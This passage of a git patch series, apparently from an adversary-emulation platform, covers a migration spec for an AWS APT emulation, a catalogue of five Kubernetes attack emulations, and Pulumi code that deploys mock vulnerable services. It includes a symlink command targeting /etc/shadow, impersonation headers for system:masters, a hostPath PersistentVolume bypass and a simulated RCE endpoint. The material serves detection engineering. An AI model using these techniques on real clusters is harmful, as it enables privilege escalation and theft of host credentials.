post-17):** replace the + `os.environ["LAB_OPERATOR_KEY_ID/SECRET"]` operator session with + `creds.get("leaked_admin_session")` — `lab-infra-admin` (Administrator, a + different principal than `DangerDev@protonmail.me`) can perform the deletions. + Removes all `os.environ` usage. Faithful: an external admin credential still + performs the cleanup. +5. Drop `import sys`/`import os` if unused; keep `print(...)` (Celery streams it); + optionally add `logger = logging.getLogger(__name__)` like scarleteel. +6. Account ID stays resolved from the IAM `get_user` ARN (no new output needed). + +Only `admin_access_key_id` + `admin_access_key_secret` are consumed from +`outputs`. (alice's key is created at runtime in Step 12, so the exported alice +creds are unused by the attack.) + +### 5.3 `infra/__main__.py` (from `infra/__main__.py`) +- Remove the `_trigger_attack` function, the `subprocess.Popen` block, the + commented auto-trigger, and the `import os` / `import subprocess` lines. +- **Keep** `pulumi_tls` keypair (decision 4) and **all** static names (decision 5). +- `TAGS["MayaTrail"] = "dangerdev"` (was `"true"`). +- Region-derive the subnet AZ (Gap D): `availability_zone=f"{region}a"`. +- **Port the S3 layer to pulumi-aws v7 (Gap C):** convert the three classic + `aws.s3.Bucket(...)` (with inline SSE/versioning/lifecycle/logging) to + `aws.s3.BucketV2` + `BucketServerSideEncryptionConfigurationV2` + + `BucketVersioningV2` + `BucketLifecycleConfigurationV2` + `BucketLoggingV2`, + and `aws.s3.BucketObject` → `aws.s3.BucketObjectv2`. Validate with + `pulumi preview` against 7.11.1; fix any further v7 deltas it surfaces. +- Keep all existing `pulumi.export(...)`s (the attack needs + `admin_access_key_id` + `admin_access_key_secret`; the rest are useful + catalogue/telemetry outputs). +- Confirm program imports reduce to: `json` (stdlib), `pulumi`, `pulumi_aws`, + `pulumi_tls` — all present in the worker after work area 3. + +### 5.4 `infra/Pulumi.yaml` +```yaml +name: mayatrail-dangerdev +runtime: python +description: DangerDev APT emulation — AWS IAM abuse, cryptomining, phishing infra. +``` +(Drop the `runtime.options.virtualenv: venv` form.) + +### 5.5 `infra/requirements.txt` (dev reference only; worker uses `backend/requirements.txt`) +Match the runtime so local dev mirrors the worker: +``` +pulumi>=3.0.0,<4.0.0 +pulumi-aws>=7.0.0,<8.0.0 +pulumi-tls>=5.0.0,<6.0.0 +``` + +### 5.6 `PLAYBOOK.md` +From `ir_playbooks/playbook_DANGERDEV.md` → package root. Sanitize/generalize +run-specific IPs, instance IDs, timestamps, and access-key IDs so it reads as a +reusable IR guide (per the report's playbook-content requirement). + +### 5.7 `detections/` +Copy the pipeline `detections/` directory as-is (15 KQL + matching Sigma + +detection notes). Confirm rules match the static names kept in decision 5. + +### 5.8 `__init__.py` and `infra/__init__.py` +Empty files (mirrors scarleteel). + +--- + +## 6. Work area 2 — backend readiness change (`apps/emulations/tasks.py`) + +Back-compatible, manifest-driven. Default (field absent) = today's exact behavior. + +- Helper to resolve readiness from the manifest with the legacy default: + ```python + DEFAULT_READINESS = {"type": "ec2_http", "ip_output": "vuln_instance_ip", + "port": 8080, "path": "/health"} + readiness = manifest.get("readiness") or DEFAULT_READINESS + ``` +- `deploy_emulation_stack`: after saving `stack.outputs`, branch: + - `type == "none"` → set `READY_FOR_ATTACK`, **do not** enqueue the poll. + - else → set `EC2_BOOTING`, enqueue `poll_ec2_readiness` (current behavior). +- `poll_ec2_readiness`: read `ip_output` / `port` / `path` from the manifest's + readiness block instead of the hardcoded `vuln_instance_ip` + `:8080/health`. +- scarleteel `MANIFEST.py`: add an explicit `readiness` block equal to + `DEFAULT_READINESS` (documentation only; no behavior change). +- `registry.py`: no change required (passes the field through). + +--- + +## 7. Work area 3 — worker image + +Add `pulumi-tls` to **`backend/requirements.txt`** (which already pins +`pulumi-aws==7.11.1`; the worker image installs from this file). Pin a +pulumi-3-compatible release (`pulumi-tls>=5.0.0,<6.0.0`, then freeze the resolved +exact version to match repo style). Without it, `pulumi up` fails to import the +program. + +--- + +## 8. Validation plan + +### 8.1 Static (Claude, no AWS spend) +1. `registry.discover()` lists `dangerdev` with all required keys + `readiness`. +2. `import emulations.dangerdev.MANIFEST` → dict valid; `import + emulations.dangerdev.attack` → `run(outputs, region)` signature correct. +3. `python -c "import ast; ast.parse(...)"` / byte-compile `infra/__main__.py`. +4. `pulumi preview` type-checks the infra (needs AWS creds or at minimum a clean + import with `pulumi-aws` + `pulumi-tls` available); confirm no `pulumi_tls` + import error and no v7-only API usage. +5. Backend change: unit-style check that `deploy_emulation_stack` branches to + `READY_FOR_ATTACK` for `readiness.type == none` and preserves the poll path + otherwise. + +### 8.2 Paired live run (Claude drives, user approves each AWS step) +1. Deploy via backend (enterprise user + STS role + state bucket + enterprise + worker), region `us-east-1`. +2. Confirm `pulumi up` succeeds (keypair via `pulumi-tls`), `stack.outputs` + populated, status → `READY_FOR_ATTACK` (no probe). +3. Trigger the attack; watch streamed stdout for the 17 steps; verify expected + CloudTrail events + GuardDuty findings. +4. `pulumi destroy`; verify no orphaned IAM users/roles + (`DangerDev@protonmail.me`, `ses` are attack-created and removed by the + self-cleanup steps — confirm). + +--- + +## 9. Risks & open items +- **Live cost/footprint:** Windows t2.micro + GuardDuty + CloudTrail + KMS; + short TTL + prompt destroy. GPU mining is documented-only (t2.micro lifecycle + only) — no surprise spend. +- **IAM eventual consistency** on rapid destroy/redeploy → transient + `EntityAlreadyExists`; attack handles it gracefully. +- **Self-cleanup ordering:** verify `leaked_admin_session` is still valid at + Step 15 (it is never invalidated; only `dangerdev_session` is). +- **`total_resources`** must be counted from an actual preview for an accurate + progress bar. +- **Shared-account edge:** if two enterprise users ever share one AWS account, + static IAM names could collide. Out of scope; note for the future generalized + recipe (a per-emulation `naming: static|stack_suffixed` knob). + +--- + +## 10. Repeatable recipe (feeds future migrations + pipeline changes) +1. Copy `_/` → `emulations//`; clean slug; add `__init__.py`. +2. Synthesize `MANIFEST.py` from `phase0b_metadata.json` + `attack_plan.json` + (required keys + `attack_path` + `mitre_mappings` + `readiness`). +3. Rewrite `attack.py`: `run(outputs, region)`; creds from `outputs`; drop + env/`sys.exit`/auto-trigger coupling; thread `region`. +4. Fix `infra/__main__.py`: remove auto-trigger; `runtime: python`; region-derive + AZ; standardize tags; ensure every third-party import is in the worker image. +5. Set `Pulumi.yaml` name `mayatrail-` + `requirements.txt`. +6. `PLAYBOOK.md` to root (sanitized) + copy `detections/`. +7. Declare `readiness` (`none` for non-web; `ec2_http` for web-readiness emulations). +8. Static-validate, then live-validate. + +The pipeline should eventually emit packages in this shape directly (entry point, +naming, `readiness`, no auto-trigger, no `virtualenv`). + +--- + +## 11. Git handling +- Emulation package + backend change + worker change → **MayaTrail/step1 `main`**. +- **This spec file is gitignored** and must not be pushed. +- Per standing rule: confirm repo/branch + commit message before any + `git commit` / `git push`. diff --git a/emulations/k8s_attack_readme.md b/emulations/k8s_attack_readme.md new file mode 100644 index 0000000..e9753a7 --- /dev/null +++ b/emulations/k8s_attack_readme.md @@ -0,0 +1,94 @@ +# Kubernetes Adversary Emulation Catalogue + +This document details the five Kubernetes adversary emulation modules implemented under the `step1/emulations/` directory. These modules are integrated into the MayaTrail platform to allow security teams to safely simulate, monitor, and build detections for Kubernetes-specific attack techniques. + +--- + +## 1. K8s RBAC Impersonation Privilege Escalation (`k8s_rbac_impersonation`) + +### How It Works +1. **Enumeration Phase**: The attack script uses a compromised service account token (`stolen-dev-token`) to query the `SelfSubjectRulesReview` API. This allows the attacker to inspect their own RBAC permissions without triggering wildcard discovery alarms. +2. **Escalation Phase**: Upon discovering that the service account has the `impersonate` verb on `serviceaccounts` or specific groups, the attacker crafts API requests to the Kubernetes API server containing the HTTP headers: + - `Impersonate-User: admin-sa` + - `Impersonate-Group: system:masters` +3. **Action Execution**: The API server evaluates request-time impersonation, executing the query with the rights of the impersonated user/group. The attacker successfully reads protected Secrets. + +### Attack Type & MITRE Mapping +* **Tactic**: Privilege Escalation +* **Technique**: [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/) +* **Discovery Hook**: [T1069: Permission Groups Discovery](https://attack.mitre.org/techniques/T1069/) + +### Security Impact +* **Access Level**: Attacker gains cluster-admin level privileges (`system:masters`). +* **Stealth**: Impersonation does not modify RoleBindings, making it difficult to detect via static RBAC analysis. (Audit logs will show the impersonated identity performing actions, although the original caller is still recorded in the headers field). + +--- + +## 2. K8s Writable `/var/log` Host Escape (`k8s_writable_log_escape`) + +### How It Works +1. **Setup**: This emulation replicates a container running with host-path mount access to `/var/log` (e.g., standard for logging agents or metrics collectors). +2. **Symlink Insertion**: The attacker utilizes container command execution (simulated RCE) to create a symbolic link inside the mounted log path linking to a critical host file: + - `ln -s /etc/shadow /var/log/pods/webapp.log` +3. **Exfiltration**: Using Kubernetes credentials with rights to read pod logs (via the Kubelet proxy endpoint `/api/v1/nodes//proxy/logs`), the attacker requests the logs for the target path. The host logging process traverses the symlink and returns the raw contents of `/etc/shadow` through the authenticated API channel. + +### Attack Type & MITRE Mapping +* **Tactic**: Privilege Escalation / Host Escape +* **Technique**: [T1611: Escape to Host](https://attack.mitre.org/techniques/T1611/) +* **Execution Vector**: [T1609: Container Administration Command](https://attack.mitre.org/techniques/T1609/) + +### Security Impact +* **Access Level**: Direct read access to the underlying worker node filesystem as root. +* **Impact**: Extraction of node-level credentials, private keys, configuration files, and authentication hashes. + +--- + +## 3. K8s PSA Bypass via PV Abuse (`k8s_pvc_psa_bypass`) + +### How It Works +1. **The Gap**: Pod Security Admission (PSA) restricts direct pod-level configurations like `hostPath` mounts to enforce baseline/restricted security standards. However, PSA does not inspect the underlying storage provisioning layer. +2. **Abuse**: The attacker bypasses PSA policy constraints by provisioning a raw Kubernetes `PersistentVolume` (PV) that specifies a target path on the host node filesystem: + - `spec.hostPath.path: /etc` +3. **Mounting**: The attacker deploys a `PersistentVolumeClaim` (PVC) mapping to this PV. Because the volume properties are defined externally in the PV object, the pod mounts host storage without raising PSA alerts. + +### Attack Type & MITRE Mapping +* **Tactic**: Defense Evasion +* **Technique**: [T1211: Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211/) + +### Security Impact +* **Access Level**: Host filesystem read/write access from an otherwise unprivileged pod. +* **Impact**: Total compromise of the container boundary, allowing attackers to write persistence files or read sensitive configuration settings. + +--- + +## 4. K8s External IPs Hijacking (`k8s_external_ips_mitm`) + +### How It Works +1. **Mechanism**: Kubernetes Services can be configured with an `externalIPs` list. Traffic destined for those IPs within the cluster is routed to the Service's backend endpoints. +2. **Exploitation (CVE-2020-8554)**: An attacker creates a Service and binds it to a public IP (e.g., Google DNS `8.8.8.8`). +3. **Interception**: When other pods in the cluster attempt to contact `8.8.8.8`, `kube-proxy` redirects the traffic to the attacker's container instead. + +### Attack Type & MITRE Mapping +* **Tactic**: Credential Access / Collection +* **Technique**: [T1557: Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557/) + +### Security Impact +* **Access Level**: Network interception inside the cluster network. +* **Impact**: Interception of API keys, DNS requests, and database connection secrets flowing to external integrations. + +--- + +## 5. K8s MITM via Pod `status.podIP` Mutation (`k8s_pod_status_mitm`) + +### How It Works +1. **The Vector**: Pod status subresources control the cluster's routing topology mappings. If an identity possesses the `patch` verb over the `pods/status` subresource, they can modify active routing records. +2. **Execution**: The attacker patches the `status.podIP` of a legitimate target pod to point to their own container's IP address. +3. **Routing Hijack**: The cluster control plane updates endpoints, sending service traffic aimed at the victim pod directly to the attacker. + +### Attack Type & MITRE Mapping +* **Tactic**: Credential Access / Collection +* **Technique**: [T1557: Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557/) + +### Security Impact +* **Access Level**: Internal service traffic interception. +* **Impact**: Spoofing endpoints, capturing authentication credentials, and capturing application-level metadata. diff --git a/emulations/k8s_external_ips_mitm/infra/Pulumi.yaml b/emulations/k8s_external_ips_mitm/infra/Pulumi.yaml new file mode 100644 index 0000000..718128a --- /dev/null +++ b/emulations/k8s_external_ips_mitm/infra/Pulumi.yaml @@ -0,0 +1,3 @@ +name: k8s_external_ips_mitm-infra +runtime: python +description: External IPs MITM Emulation Infrastructure diff --git a/emulations/k8s_external_ips_mitm/infra/requirements.txt b/emulations/k8s_external_ips_mitm/infra/requirements.txt new file mode 100644 index 0000000..9a1b8d0 --- /dev/null +++ b/emulations/k8s_external_ips_mitm/infra/requirements.txt @@ -0,0 +1,2 @@ +pulumi>=3.0.0,<4.0.0 +pulumi-aws>=7.0.0,<8.0.0 diff --git a/emulations/k8s_pod_status_mitm/infra/Pulumi.yaml b/emulations/k8s_pod_status_mitm/infra/Pulumi.yaml new file mode 100644 index 0000000..3272996 --- /dev/null +++ b/emulations/k8s_pod_status_mitm/infra/Pulumi.yaml @@ -0,0 +1,3 @@ +name: k8s_pod_status_mitm-infra +runtime: python +description: Pod Status MITM Emulation Infrastructure diff --git a/emulations/k8s_pod_status_mitm/infra/requirements.txt b/emulations/k8s_pod_status_mitm/infra/requirements.txt new file mode 100644 index 0000000..9a1b8d0 --- /dev/null +++ b/emulations/k8s_pod_status_mitm/infra/requirements.txt @@ -0,0 +1,2 @@ +pulumi>=3.0.0,<4.0.0 +pulumi-aws>=7.0.0,<8.0.0 diff --git a/emulations/k8s_pvc_psa_bypass/MANIFEST.py b/emulations/k8s_pvc_psa_bypass/MANIFEST.py index f3814c2..303c49d 100644 --- a/emulations/k8s_pvc_psa_bypass/MANIFEST.py +++ b/emulations/k8s_pvc_psa_bypass/MANIFEST.py @@ -29,7 +29,7 @@ }, { "phase": 2, - "name": "Host Filesystem Read from Pod", + "name": "PersistentVolumeClaim Binding", "techniques": [{"id": "T1611", "name": "Escape to Host"}], }, { diff --git a/emulations/k8s_pvc_psa_bypass/infra/Pulumi.yaml b/emulations/k8s_pvc_psa_bypass/infra/Pulumi.yaml new file mode 100644 index 0000000..776b337 --- /dev/null +++ b/emulations/k8s_pvc_psa_bypass/infra/Pulumi.yaml @@ -0,0 +1,3 @@ +name: k8s_pvc_psa_bypass-infra +runtime: python +description: PSA Bypass Emulation Infrastructure diff --git a/emulations/k8s_pvc_psa_bypass/infra/requirements.txt b/emulations/k8s_pvc_psa_bypass/infra/requirements.txt new file mode 100644 index 0000000..9a1b8d0 --- /dev/null +++ b/emulations/k8s_pvc_psa_bypass/infra/requirements.txt @@ -0,0 +1,2 @@ +pulumi>=3.0.0,<4.0.0 +pulumi-aws>=7.0.0,<8.0.0 diff --git a/emulations/k8s_rbac_impersonation/infra/Pulumi.yaml b/emulations/k8s_rbac_impersonation/infra/Pulumi.yaml new file mode 100644 index 0000000..6bb5290 --- /dev/null +++ b/emulations/k8s_rbac_impersonation/infra/Pulumi.yaml @@ -0,0 +1,3 @@ +name: k8s_rbac_impersonation-infra +runtime: python +description: RBAC Impersonation Emulation Infrastructure diff --git a/emulations/k8s_rbac_impersonation/infra/__main__.py b/emulations/k8s_rbac_impersonation/infra/__main__.py new file mode 100644 index 0000000..0fdf304 --- /dev/null +++ b/emulations/k8s_rbac_impersonation/infra/__main__.py @@ -0,0 +1,84 @@ +import pulumi +import pulumi_aws as aws + +stack_name = pulumi.get_stack() +region = aws.config.region or "ap-south-1" + +TAGS = {"MayaTrail": "true", "ThreatActor": "K8S_IMPERSONATION"} + +vpc = aws.ec2.Vpc(f"mayatrail-k8s-imp-vpc-{stack_name}", cidr_block="10.110.0.0/16", enable_dns_hostnames=True, enable_dns_support=True, tags=TAGS) +igw = aws.ec2.InternetGateway(f"mayatrail-k8s-imp-igw-{stack_name}", vpc_id=vpc.id, tags=TAGS) +subnet = aws.ec2.Subnet(f"mayatrail-k8s-imp-subnet-{stack_name}", vpc_id=vpc.id, cidr_block="10.110.1.0/24", map_public_ip_on_launch=True, availability_zone=f"{region}a", tags=TAGS) +rt = aws.ec2.RouteTable(f"mayatrail-k8s-imp-rt-{stack_name}", vpc_id=vpc.id, routes=[aws.ec2.RouteTableRouteArgs(cidr_block="0.0.0.0/0", gateway_id=igw.id)], tags=TAGS) +aws.ec2.RouteTableAssociation(f"mayatrail-k8s-imp-rta-{stack_name}", subnet_id=subnet.id, route_table_id=rt.id) + +sg = aws.ec2.SecurityGroup(f"mayatrail-k8s-imp-sg-{stack_name}", vpc_id=vpc.id, ingress=[ + aws.ec2.SecurityGroupIngressArgs(protocol="tcp", from_port=8080, to_port=8080, cidr_blocks=["0.0.0.0/0"]) +], egress=[aws.ec2.SecurityGroupEgressArgs(protocol="-1", from_port=0, to_port=0, cidr_blocks=["0.0.0.0/0"])], tags=TAGS) + +ami = aws.ec2.get_ami(most_recent=True, owners=["amazon"], filters=[aws.ec2.GetAmiFilterArgs(name="name", values=["al2023-ami-*-x86_64"])]) + +user_data = """#!/bin/bash +dnf install -y docker +systemctl enable --now docker +mkdir -p /opt/app +cat > /opt/app/app.py << 'PYEOF' +from flask import Flask, request, jsonify + +app = Flask(__name__) + +@app.route('/health') +def health(): + return 'ok' + +@app.route('/apis/authorization.k8s.io/v1/selfsubjectrulesreviews', methods=['POST']) +def ssrr(): + auth = request.headers.get("Authorization", "") + if "stolen-dev-token" not in auth: + return "Unauthorized", 401 + + # Return rules for dev + rules = [ + {"apiGroups": ["*"], "resources": ["serviceaccounts"], "verbs": ["impersonate"]}, + {"apiGroups": ["authorization.k8s.io"], "resources": ["selfsubjectrulesreviews"], "verbs": ["create"]} + ] + return jsonify({"status": {"resourceRules": rules}}) + +@app.route('/api/v1/secrets', methods=['GET']) +def get_secrets(): + # Enforce Impersonation header checks + auth = request.headers.get("Authorization", "") + imp_user = request.headers.get("Impersonate-User", "") + imp_group = request.headers.get("Impersonate-Group", "") + + if "stolen-dev-token" not in auth: + return "Unauthorized", 401 + + if imp_user == "admin-sa" and imp_group == "system:masters": + # Elevated access + return jsonify({ + "items": [ + {"metadata": {"name": "db-credential"}, "data": {"password": "c3VwZXItc2VjcmV0LWszcw=="}} + ] + }) + return "Forbidden", 403 + +if __name__ == '__main__': + app.run(host='0.0.0.0', port=8080) +PYEOF + +cat > /opt/app/Dockerfile << 'DKEOF' +FROM python:3.9-slim +RUN pip install flask +COPY app.py /app/app.py +CMD ["python", "/app/app.py"] +DKEOF + +cd /opt/app +docker build -t k8s-imp . +docker run -d --name k8s-imp -p 8080:8080 --restart unless-stopped k8s-imp +""" + +instance = aws.ec2.Instance(f"mayatrail-k8s-imp-ec2-{stack_name}", instance_type="t3.micro", ami=ami.id, subnet_id=subnet.id, vpc_security_group_ids=[sg.id], user_data=user_data, tags=TAGS) + +pulumi.export("vuln_instance_ip", instance.public_ip) diff --git a/emulations/k8s_rbac_impersonation/infra/requirements.txt b/emulations/k8s_rbac_impersonation/infra/requirements.txt new file mode 100644 index 0000000..9a1b8d0 --- /dev/null +++ b/emulations/k8s_rbac_impersonation/infra/requirements.txt @@ -0,0 +1,2 @@ +pulumi>=3.0.0,<4.0.0 +pulumi-aws>=7.0.0,<8.0.0 diff --git a/emulations/k8s_writable_log_escape/infra/Pulumi.yaml b/emulations/k8s_writable_log_escape/infra/Pulumi.yaml new file mode 100644 index 0000000..78906ea --- /dev/null +++ b/emulations/k8s_writable_log_escape/infra/Pulumi.yaml @@ -0,0 +1,3 @@ +name: k8s_writable_log_escape-infra +runtime: python +description: Writable Log Escape Emulation Infrastructure diff --git a/emulations/k8s_writable_log_escape/infra/__main__.py b/emulations/k8s_writable_log_escape/infra/__main__.py new file mode 100644 index 0000000..06eb00f --- /dev/null +++ b/emulations/k8s_writable_log_escape/infra/__main__.py @@ -0,0 +1,81 @@ +import pulumi +import pulumi_aws as aws + +stack_name = pulumi.get_stack() +region = aws.config.region or "ap-south-1" + +TAGS = {"MayaTrail": "true", "ThreatActor": "K8S_LOG_ESCAPE"} + +vpc = aws.ec2.Vpc(f"mayatrail-k8s-log-vpc-{stack_name}", cidr_block="10.120.0.0/16", enable_dns_hostnames=True, enable_dns_support=True, tags=TAGS) +igw = aws.ec2.InternetGateway(f"mayatrail-k8s-log-igw-{stack_name}", vpc_id=vpc.id, tags=TAGS) +subnet = aws.ec2.Subnet(f"mayatrail-k8s-log-subnet-{stack_name}", vpc_id=vpc.id, cidr_block="10.120.1.0/24", map_public_ip_on_launch=True, availability_zone=f"{region}a", tags=TAGS) +rt = aws.ec2.RouteTable(f"mayatrail-k8s-log-rt-{stack_name}", vpc_id=vpc.id, routes=[aws.ec2.RouteTableRouteArgs(cidr_block="0.0.0.0/0", gateway_id=igw.id)], tags=TAGS) +aws.ec2.RouteTableAssociation(f"mayatrail-k8s-log-rta-{stack_name}", subnet_id=subnet.id, route_table_id=rt.id) + +sg = aws.ec2.SecurityGroup(f"mayatrail-k8s-log-sg-{stack_name}", vpc_id=vpc.id, ingress=[ + aws.ec2.SecurityGroupIngressArgs(protocol="tcp", from_port=8080, to_port=8080, cidr_blocks=["0.0.0.0/0"]) +], egress=[aws.ec2.SecurityGroupEgressArgs(protocol="-1", from_port=0, to_port=0, cidr_blocks=["0.0.0.0/0"])], tags=TAGS) + +ami = aws.ec2.get_ami(most_recent=True, owners=["amazon"], filters=[aws.ec2.GetAmiFilterArgs(name="name", values=["al2023-ami-*-x86_64"])]) + +user_data = """#!/bin/bash +dnf install -y docker +systemctl enable --now docker +mkdir -p /opt/app +cat > /opt/app/app.py << 'PYEOF' +from flask import Flask, request, Response, jsonify + +app = Flask(__name__) + +# Simulated host filesystem +HOST_FILESYSTEM = { + "/etc/shadow": "root:$6$vulnerable_root_hash:19500:0:99999:7:::", + "/etc/kubernetes/admin.conf": "apiVersion: v1\nkind: Config\nclusters:\n- name: minikube\nusers:\n- name: minikube-admin\n token: stolen-admin-token" +} + +SYMLINKS = {} + +@app.route('/health') +def health(): + return 'ok' + +@app.route('/cmd', methods=['POST']) +def cmd(): + # RCE endpoint representing command execution inside the pod container + command = request.form.get("cmd", "") + if "ln -s" in command: + # e.g., ln -s /etc/shadow /var/log/pods/webapp.log + parts = command.split() + target = parts[2] + link = parts[3] + SYMLINKS[link] = target + return f"Created symlink: {link} -> {target}" + return "Command executed successfully" + +@app.route('/api/v1/nodes/worker-1/proxy/logs', methods=['GET']) +def get_logs(): + path = request.args.get("path", "") + if path in SYMLINKS: + target = SYMLINKS[path] + return Response(HOST_FILESYSTEM.get(target, "Not found"), mimetype="text/plain") + return "Log file empty or not found", 404 + +if __name__ == '__main__': + app.run(host='0.0.0.0', port=8080) +PYEOF + +cat > /opt/app/Dockerfile << 'DKEOF' +FROM python:3.9-slim +RUN pip install flask +COPY app.py /app/app.py +CMD ["python", "/app/app.py"] +DKEOF + +cd /opt/app +docker build -t k8s-log . +docker run -d --name k8s-log -p 8080:8080 --restart unless-stopped k8s-log +""" + +instance = aws.ec2.Instance(f"mayatrail-k8s-log-ec2-{stack_name}", instance_type="t3.micro", ami=ami.id, subnet_id=subnet.id, vpc_security_group_ids=[sg.id], user_data=user_data, tags=TAGS) + +pulumi.export("vuln_instance_ip", instance.public_ip) diff --git a/emulations/k8s_writable_log_escape/infra/requirements.txt b/emulations/k8s_writable_log_escape/infra/requirements.txt new file mode 100644 index 0000000..9a1b8d0 --- /dev/null +++ b/emulations/k8s_writable_log_escape/infra/requirements.txt @@ -0,0 +1,2 @@ +pulumi>=3.0.0,<4.0.0 +pulumi-aws>=7.0.0,<8.0.0 From 031ea2d82833d12011e0ba8a551cbcb1c760f51b Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Mon, 29 Jun 2026 12:21:39 +0530 Subject: [PATCH 15/18] =?UTF-8?q?fix(k8s):=20bump=20to=20schema=5Fversion?= =?UTF-8?q?=203=20=E2=80=94=20add=20services,=20readiness,=20reference=20u?= =?UTF-8?q?rls?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-Authored-By: Claude Sonnet 4.6 --- emulations/k8s_external_ips_mitm/MANIFEST.py | 21 ++++++++++++-- emulations/k8s_pod_status_mitm/MANIFEST.py | 21 ++++++++++++-- emulations/k8s_pvc_psa_bypass/MANIFEST.py | 29 +++++++++++++++++-- emulations/k8s_rbac_impersonation/MANIFEST.py | 29 +++++++++++++++++-- .../k8s_writable_log_escape/MANIFEST.py | 29 +++++++++++++++++-- 5 files changed, 119 insertions(+), 10 deletions(-) diff --git a/emulations/k8s_external_ips_mitm/MANIFEST.py b/emulations/k8s_external_ips_mitm/MANIFEST.py index 6a48925..dddafd8 100644 --- a/emulations/k8s_external_ips_mitm/MANIFEST.py +++ b/emulations/k8s_external_ips_mitm/MANIFEST.py @@ -1,6 +1,6 @@ """MANIFEST for k8s_external_ips_mitm.""" MANIFEST = { - "schema_version": 2, + "schema_version": 3, "name": "k8s_external_ips_mitm", "display_name": "K8s External IPs Hijacking (CVE-2020-8554)", "description": ( @@ -11,6 +11,8 @@ "tier": "enterprise", "platform": "k8s", "added": "2026-06", + "services": ["Kubernetes API", "kube-proxy"], + "readiness": {"type": "none"}, "origin": "unknown", "origin_label": "K8S EMULATION", "tags": ["Kubernetes", "Adversary-in-the-Middle", "External IPs", "Vulnerability"], @@ -43,7 +45,22 @@ } ], "references": [ - {"icon": "#", "title": "CVE-2020-8554 Announcement", "source": "Kubernetes", "type": "DOCUMENTATION", "color": "red"} + { + "icon": "#", + "title": "CVE-2020-8554: Man in the middle using LoadBalancer or ExternalIPs", + "source": "Kubernetes · github.com", + "type": "ADVISORY", + "color": "red", + "url": "https://github.com/kubernetes/kubernetes/issues/97076", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1557: Adversary-in-the-Middle", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + "url": "https://attack.mitre.org/techniques/T1557/", + }, ], "phase_count": 2, "estimated_duration_minutes": 8, diff --git a/emulations/k8s_pod_status_mitm/MANIFEST.py b/emulations/k8s_pod_status_mitm/MANIFEST.py index 0065385..3f04768 100644 --- a/emulations/k8s_pod_status_mitm/MANIFEST.py +++ b/emulations/k8s_pod_status_mitm/MANIFEST.py @@ -1,6 +1,6 @@ """MANIFEST for k8s_pod_status_mitm.""" MANIFEST = { - "schema_version": 2, + "schema_version": 3, "name": "k8s_pod_status_mitm", "display_name": "K8s MITM via Pod status.podIP Mutation", "description": ( @@ -10,6 +10,8 @@ "tier": "enterprise", "platform": "k8s", "added": "2026-06", + "services": ["Kubernetes API", "Kubernetes RBAC"], + "readiness": {"type": "none"}, "origin": "unknown", "origin_label": "K8S EMULATION", "tags": ["Kubernetes", "Adversary-in-the-Middle", "Status Subresource", "RBAC Abuse"], @@ -42,7 +44,22 @@ } ], "references": [ - {"icon": "#", "title": "Kubernetes Pod status subresource", "source": "Kubernetes", "type": "DOCUMENTATION", "color": "yellow"} + { + "icon": "~", + "title": "Pod API Reference — status subresource", + "source": "Kubernetes · kubernetes.io", + "type": "DOCUMENTATION", + "color": "yellow", + "url": "https://kubernetes.io/docs/reference/kubernetes-api/workload-resources/pod-v1/", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1557: Adversary-in-the-Middle", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + "url": "https://attack.mitre.org/techniques/T1557/", + }, ], "phase_count": 2, "estimated_duration_minutes": 8, diff --git a/emulations/k8s_pvc_psa_bypass/MANIFEST.py b/emulations/k8s_pvc_psa_bypass/MANIFEST.py index 303c49d..0c5928c 100644 --- a/emulations/k8s_pvc_psa_bypass/MANIFEST.py +++ b/emulations/k8s_pvc_psa_bypass/MANIFEST.py @@ -1,6 +1,6 @@ """MANIFEST for k8s_pvc_psa_bypass.""" MANIFEST = { - "schema_version": 2, + "schema_version": 3, "name": "k8s_pvc_psa_bypass", "display_name": "K8s PSA Bypass via PV Abuse", "description": ( @@ -11,6 +11,8 @@ "tier": "enterprise", "platform": "k8s", "added": "2026-06", + "services": ["Pod Security Admission", "PersistentVolume"], + "readiness": {"type": "none"}, "origin": "unknown", "origin_label": "K8S EMULATION", "tags": ["Kubernetes", "Pod Security Admission", "Bypass", "PersistentVolume", "Host Escape"], @@ -55,7 +57,30 @@ } ], "references": [ - {"icon": "#", "title": "Bypassing PSA via Storage", "source": "Kubernetes Docs", "type": "DOCUMENTATION", "color": "purple"} + { + "icon": "~", + "title": "Pod Security Admission", + "source": "Kubernetes · kubernetes.io", + "type": "DOCUMENTATION", + "color": "purple", + "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1211: Exploitation for Defense Evasion", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + "url": "https://attack.mitre.org/techniques/T1211/", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1611: Escape to Host", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + "url": "https://attack.mitre.org/techniques/T1611/", + }, ], "phase_count": 3, "estimated_duration_minutes": 10, diff --git a/emulations/k8s_rbac_impersonation/MANIFEST.py b/emulations/k8s_rbac_impersonation/MANIFEST.py index 6c17ef9..45189cb 100644 --- a/emulations/k8s_rbac_impersonation/MANIFEST.py +++ b/emulations/k8s_rbac_impersonation/MANIFEST.py @@ -1,6 +1,6 @@ """MANIFEST for k8s_rbac_impersonation.""" MANIFEST = { - "schema_version": 2, + "schema_version": 3, "name": "k8s_rbac_impersonation", "display_name": "K8s RBAC Impersonation Privilege Escalation", "description": ( @@ -10,6 +10,8 @@ "tier": "enterprise", "platform": "k8s", "added": "2026-06", + "services": ["Kubernetes RBAC", "Kubernetes API"], + "readiness": {"type": "none"}, "origin": "unknown", "origin_label": "K8S EMULATION", "tags": ["Kubernetes", "RBAC", "Impersonation", "Privilege Escalation"], @@ -49,7 +51,30 @@ } ], "references": [ - {"icon": "#", "title": "K8s User Impersonation Docs", "source": "Kubernetes", "type": "DOCUMENTATION", "color": "blue"} + { + "icon": "~", + "title": "User Impersonation", + "source": "Kubernetes · kubernetes.io", + "type": 